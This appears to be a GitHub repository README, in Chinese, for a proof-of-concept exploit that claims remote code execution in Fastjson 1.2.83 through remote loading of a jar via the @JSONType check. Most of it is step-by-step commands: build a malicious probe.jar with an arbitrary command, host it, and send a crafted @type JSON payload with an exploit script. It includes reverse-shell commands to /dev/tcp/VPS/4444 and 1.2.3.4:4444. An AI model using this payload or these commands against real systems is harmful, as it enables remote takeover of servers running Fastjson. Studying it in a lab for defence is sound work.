hello0matter/fastjson-1.2.83-rce

GitHub: hello0matter/fastjson-1.2.83-rce

Fastjson 1.2.83 RCE 漏洞的完整 PoC 测试环境,利用 @JSONType 注解远程类加载缺陷实现无需额外依赖的远程代码执行。

Stars: 1 | Forks: 0

# Fastjson 1.2.83 RCE 漏洞测试环境 ## 漏洞概述 Fastjson 1.2.66 ~ 1.2.83 `checkAutoType` 中 `@JSONType` 注解探测路径存在远程类加载漏洞。无需 autoTypeSupport,无需第三方依赖,safeMode 未启用(默认)即可 RCE。 条件:Spring Boot FatJar + JDK 8 + 目标能出网 ## 使用 ### 步骤 1:启动靶场 ``` java -jar fastjson-rce-env-1.0.0.jar ``` 访问 http://127.0.0.1:18080/ 确认启动成功 ### 步骤 2:生成 probe.jar ``` # 编译 javac -cp "poc/lib/*" -d poc poc/GenProbe.java # 生成(参数: IP 端口 命令) java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "open -a Calculator" ``` Windows 弹计算器改最后参数为 `"calc"`,反弹 shell 改为 `"bash -i >& /dev/tcp/VPS/4444 0>&1"` ### 步骤 3:启动 HTTP 托管 ``` cd poc/www && python3 -m http.server 19090 ``` ### 步骤 4:弹计算器 ``` python3 poc/exp.py -u http://127.0.0.1:18080/parse -poc http://127.0.0.1:19090/probe ``` ![exploit success](https://raw.githubusercontent.com/hello0matter/fastjson-1.2.83-rce/main/success.png) ## 注意 - **每次测试必须重启靶场**(步骤 1),JVM 会缓存类加载结果 - 操作顺序:步骤 1 → 步骤 2 → 步骤 3 → 步骤 4(HTTP 托管要在打 exp 之前启动) - 如果 exp.py 超时但 HTTP 托管端看到 `GET /probe` 请求,说明 RCE 已触发 ## 自定义命令 重新生成 probe.jar: ``` javac -cp "poc/lib/*" -d poc poc/GenProbe.java java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe <端口> <命令> ``` ``` # macOS java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 127.0.0.1 19090 "open -a Calculator" # Windows java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 192.168.1.100 19090 "calc" # 反弹 shell java -cp "poc:poc/lib/asm-9.6.jar:poc/lib/fastjson-1.2.83.jar" GenProbe 1.2.3.4 19090 "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" ``` ## 漏洞原理 ``` payload: {"@type":"jar:http:..2130706433:19090.probe!.POC","x":1} ↓ Fastjson: typeName.replace('.', '/') + ".class" resource: "jar:http://127.0.0.1:19090/probe!/POC.class" ↓ LaunchedURLClassLoader.getResourceAsStream() 远程下载 jar → 检测到 @JSONType → loadClass → 执行 → RCE ```
标签:Fastjson, GHAS, Java安全, JS文件枚举, RCE, 域名枚举, 逆向工具, 靶场环境